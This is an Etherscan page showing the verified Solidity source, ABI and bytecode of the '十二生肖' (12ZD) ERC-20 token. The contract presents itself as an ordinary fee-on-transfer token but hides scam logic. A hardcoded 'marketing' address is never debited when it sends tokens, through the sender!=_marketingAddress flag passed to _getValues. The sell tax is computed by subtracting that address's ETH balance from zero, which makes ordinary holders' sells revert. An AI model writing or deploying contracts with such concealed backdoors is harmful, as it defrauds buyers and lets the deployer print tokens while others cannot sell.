ETH Price: $2,500.45 (-0.99%)

Token

十二生肖 (12ZD)
 

Overview

Max Total Supply

1,000,000,000 12ZD

Holders

89

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.289243399 12ZD

Value
$0.00
0x06ac74a0cca5a661c00402eb2a7a77c5f84d7090
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ZODIAC

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-14
*/

/**

Website: https://12zodiac.vip
Telegram: https://t.me/zodiac12erc
Twitter: https://twitter.com/zodiac12erc

**/

// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.19;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
 
contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
 
contract ZODIAC is Context, IERC20, Ownable {
 
    using SafeMath for uint256;
 
    string private constant _name = unicode"十二生肖";
    string private constant _symbol = unicode"12ZD";
    uint8 private constant _decimals = 9;
 
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = 10 ** 33;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;  
    uint256 private _taxFeeOnBuy = 0;  
    uint256 private _redisFeeOnSell = 0;  
    uint256 private _taxFeeOnSell = 0;
 
    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;
 
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
 
    address payable private _developmentAddress = payable(msg.sender); 
    address payable private _marketingAddress = payable(0xBe947859C953E44EFb35DF2517806fC1d52f97dc);
 
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
 
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
 
    uint256 public _maxTxAmount = _tTotal * 2 / 100; 
    uint256 public _maxWalletSize = _tTotal * 2 / 100; 
    uint256 public _swapTokensAtAmount = _tTotal * 7 / 1000;
 
    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor() {
 
        _rOwned[_msgSender()] = _rTotal;
 
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
 
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;
 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }
 
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
 
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
 
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
 
        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;
 
        _redisFee = 0;
        _taxFee = 0;
    }
 
    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        if (from != owner() && to != owner() && from != address(this) && to != address(this)) {
 
            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
 
            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
 
            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }
 
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
 
            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }
 
            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
 
        bool takeFee = true;
 
        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
 
            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }
 
            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell.sub(_marketingAddress.balance);
            }
 
        }
 
        _tokenTransfer(from, to, amount, takeFee);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function sendETHToFee(uint256 amount) private {
        _developmentAddress.transfer(amount);
    }
 
    function manualswap() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }
 
    function manualsend() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
  
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }
 
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(sender!=_marketingAddress, tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
 
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
 
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }
 
    receive() external payable {}
 
    function _getValues(bool takeFee, uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (takeFee ? rAmount : 0, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
 
    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }
 
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);

        return (rAmount, rTransferAmount, rFee);
    }
 
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
 
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
 
    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }
 
    //Set minimum tokens required to swap.
    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }

    function removeLimits() public onlyOwner {
        _maxTxAmount = MAX;
        _maxWalletSize = MAX;
    }

    function openTrading() public payable onlyOwner {
        require(!tradingOpen, "Trading is already open");

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
            .createPair(address(this), uniswapV2Router.WETH());

        _approve(address(this), address(uniswapV2Router), MAX);
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        
        tradingOpen = true;
        swapEnabled = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620003d3565b6200002290633b9aca00620003eb565b6200003c906d314dc6448d9338c15b0a000000006200041b565b62000056906d314dc6448d9338c15b0a0000000062000432565b600655600060088190556009818155600a828155600b839055600c839055600d839055600e839055600f92909255601080546001600160a01b031990811633179091556011805490911673be947859c953e44efb35df2517806fc1d52f97dc1790556013805461ffff60a81b19169055606491620000d59190620003d3565b620000e590633b9aca00620003eb565b620000f2906002620003eb565b620000fe919062000448565b6014556064620001116009600a620003d3565b6200012190633b9aca00620003eb565b6200012e906002620003eb565b6200013a919062000448565b6015556103e86200014e6009600a620003d3565b6200015e90633b9aca00620003eb565b6200016b906007620003eb565b62000177919062000448565b6016553480156200018757600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060065433600081815260026020908152604080832094909455601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915582546001600160a01b0390811684526005909252848320805460ff19908116600190811790925530855286852080548216831790556010548416855286852080548216831790556011549093168452948320805490921690941790557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002966009600a620003d3565b620002a690633b9aca00620003eb565b60405190815260200160405180910390a3506200045f565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000315578160001904821115620002f957620002f9620002be565b808516156200030757918102915b93841c9390800290620002d9565b509250929050565b6000826200032e57506001620003cd565b816200033d57506000620003cd565b8160018114620003565760028114620003615762000381565b6001915050620003cd565b60ff841115620003755762000375620002be565b50506001821b620003cd565b5060208310610133831016604e8410600b8410161715620003a6575081810a620003cd565b620003b28383620002d4565b8060001904821115620003c957620003c9620002be565b0290505b92915050565b6000620003e460ff8416836200031d565b9392505050565b8082028115828204841417620003cd57620003cd620002be565b634e487b7160e01b600052601260045260246000fd5b6000826200042d576200042d62000405565b500690565b81810381811115620003cd57620003cd620002be565b6000826200045a576200045a62000405565b500490565b611c50806200046f6000396000f3fe6080604052600436106101445760003560e01c8063715018a6116100b657806398a5c3151161006f57806398a5c3151461038c578063a9059cbb146103ac578063c3c8cd80146103cc578063c9567bf9146103e1578063dd62ed3e146103e9578063f2fde38b1461042f57600080fd5b8063715018a6146102eb578063751039fc146103005780637d1db4a5146103155780638da5cb5b1461032b5780638f9a55c01461034957806395d89b411461035f57600080fd5b80632fd689e3116101085780632fd689e314610242578063313ce5671461025857806349bd5a5e146102745780636d8aa8f8146102945780636fc3eaec146102b657806370a08231146102cb57600080fd5b806306fdde0314610150578063095ea7b3146101975780631694505e146101c757806318160ddd146101ff57806323b872dd1461022257600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600c81526b72c6c0f25d4673ca4ff4414b60a11b60208201525b60405161018e9190611822565b60405180910390f35b3480156101a357600080fd5b506101b76101b2366004611885565b61044f565b604051901515815260200161018e565b3480156101d357600080fd5b506012546101e7906001600160a01b031681565b6040516001600160a01b03909116815260200161018e565b34801561020b57600080fd5b50610214610466565b60405190815260200161018e565b34801561022e57600080fd5b506101b761023d3660046118b1565b610487565b34801561024e57600080fd5b5061021460165481565b34801561026457600080fd5b506040516009815260200161018e565b34801561028057600080fd5b506013546101e7906001600160a01b031681565b3480156102a057600080fd5b506102b46102af3660046118f2565b6104f0565b005b3480156102c257600080fd5b506102b4610541565b3480156102d757600080fd5b506102146102e6366004611914565b61058c565b3480156102f757600080fd5b506102b46105ae565b34801561030c57600080fd5b506102b4610622565b34801561032157600080fd5b5061021460145481565b34801561033757600080fd5b506000546001600160a01b03166101e7565b34801561035557600080fd5b5061021460155481565b34801561036b57600080fd5b506040805180820190915260048152630c4c969160e21b6020820152610181565b34801561039857600080fd5b506102b46103a7366004611931565b610665565b3480156103b857600080fd5b506101b76103c7366004611885565b610694565b3480156103d857600080fd5b506102b46106a1565b6102b46106f5565b3480156103f557600080fd5b5061021461040436600461194a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561043b57600080fd5b506102b461044a366004611914565b6109fb565b600061045c338484610ae5565b5060015b92915050565b60006104746009600a611a7d565b61048290633b9aca00611a8c565b905090565b6000610494848484610c09565b6104e684336104e185604051806060016040528060288152602001611bf3602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906110f1565b610ae5565b5060019392505050565b6000546001600160a01b031633146105235760405162461bcd60e51b815260040161051a90611aa3565b60405180910390fd5b60138054911515600160b01b0260ff60b01b19909216919091179055565b6010546001600160a01b0316336001600160a01b0316148061057657506011546001600160a01b0316336001600160a01b0316145b61057f57600080fd5b476105898161112b565b50565b6001600160a01b03811660009081526002602052604081205461046090611169565b6000546001600160a01b031633146105d85760405162461bcd60e51b815260040161051a90611aa3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461064c5760405162461bcd60e51b815260040161051a90611aa3565b6d314dc6448d9338c15b0a000000006014819055601555565b6000546001600160a01b0316331461068f5760405162461bcd60e51b815260040161051a90611aa3565b601655565b600061045c338484610c09565b6010546001600160a01b0316336001600160a01b031614806106d657506011546001600160a01b0316336001600160a01b0316145b6106df57600080fd5b60006106ea3061058c565b905061058981611187565b6000546001600160a01b0316331461071f5760405162461bcd60e51b815260040161051a90611aa3565b601354600160a01b900460ff16156107795760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161051a565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f09190611ad8565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610852573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108769190611ad8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e79190611ad8565b601380546001600160a01b0319166001600160a01b03928316179055601254610921913091166d314dc6448d9338c15b0a00000000610ae5565b6012546001600160a01b031663f305d719343061093d8161058c565b6000806109526000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109ba573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109df9190611af5565b50506013805462ff00ff60a01b19166201000160a01b17905550565b6000546001600160a01b03163314610a255760405162461bcd60e51b815260040161051a90611aa3565b6001600160a01b038116610a8a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161051a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b475760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161051a565b6001600160a01b038216610ba85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161051a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c6d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161051a565b6001600160a01b038216610ccf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161051a565b60008111610d315760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161051a565b6000546001600160a01b03848116911614801590610d5d57506000546001600160a01b03838116911614155b8015610d7257506001600160a01b0383163014155b8015610d8757506001600160a01b0382163014155b15610fce57601354600160a01b900460ff16610e20576000546001600160a01b03848116911614610e205760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161051a565b601454811115610e725760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161051a565b6013546001600160a01b03838116911614610ef75760155481610e948461058c565b610e9e9190611b23565b10610ef75760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161051a565b6000610f023061058c565b601654601454919250821015908210610f1b5760145491505b808015610f325750601354600160a81b900460ff16155b8015610f4c57506013546001600160a01b03868116911614155b8015610f615750601354600160b01b900460ff165b8015610f8657506001600160a01b03851660009081526005602052604090205460ff16155b8015610fab57506001600160a01b03841660009081526005602052604090205460ff16155b15610fcb57610fb982611187565b478015610fc957610fc94761112b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061101057506001600160a01b03831660009081526005602052604090205460ff165b8061104257506013546001600160a01b0385811691161480159061104257506013546001600160a01b03848116911614155b1561104f575060006110df565b6013546001600160a01b03858116911614801561107a57506012546001600160a01b03848116911614155b1561108c57600854600c55600954600d555b6013546001600160a01b0384811691161480156110b757506012546001600160a01b03858116911614155b156110df57600a54600c55601154600b546110db916001600160a01b031631611301565b600d555b6110eb84848484611343565b50505050565b600081848411156111155760405162461bcd60e51b815260040161051a9190611822565b5060006111228486611b36565b95945050505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611165573d6000803e3d6000fd5b5050565b600080611174611371565b90506111808382611394565b9392505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111cf576111cf611b49565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611228573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124c9190611ad8565b8160018151811061125f5761125f611b49565b6001600160a01b0392831660209182029290920101526012546112859130911684610ae5565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906112be908590600090869030904290600401611b5f565b600060405180830381600087803b1580156112d857600080fd5b505af11580156112ec573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b600061118083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110f1565b80611350576113506113d6565b61135b848484611404565b806110eb576110eb600e54600c55600f54600d55565b600080600061137e611512565b909250905061138d8282611394565b9250505090565b600061118083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611594565b600c541580156113e65750600d54155b156113ed57565b600c8054600e55600d8054600f5560009182905555565b6011546000908190819081908190819061142d906001600160a01b038b811691161415886115c2565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061145f9087611301565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461148e908661162e565b6001600160a01b0389166000908152600260205260409020556114b08161168d565b6114ba84836116d7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114ff91815260200190565b60405180910390a3505050505050505050565b6006546000908190816115276009600a611a7d565b61153590633b9aca00611a8c565b905061155d6115466009600a611a7d565b61155490633b9aca00611a8c565b60065490611394565b82101561158b576006546115736009600a611a7d565b61158190633b9aca00611a8c565b9350935050509091565b90939092509050565b600081836115b55760405162461bcd60e51b815260040161051a9190611822565b5060006111228486611bd0565b60008060008060008060008060006115df8a600c54600d546116fb565b92509250925060006115ef611371565b905060008060006116028e878787611750565b9250925092508e61161457600061161656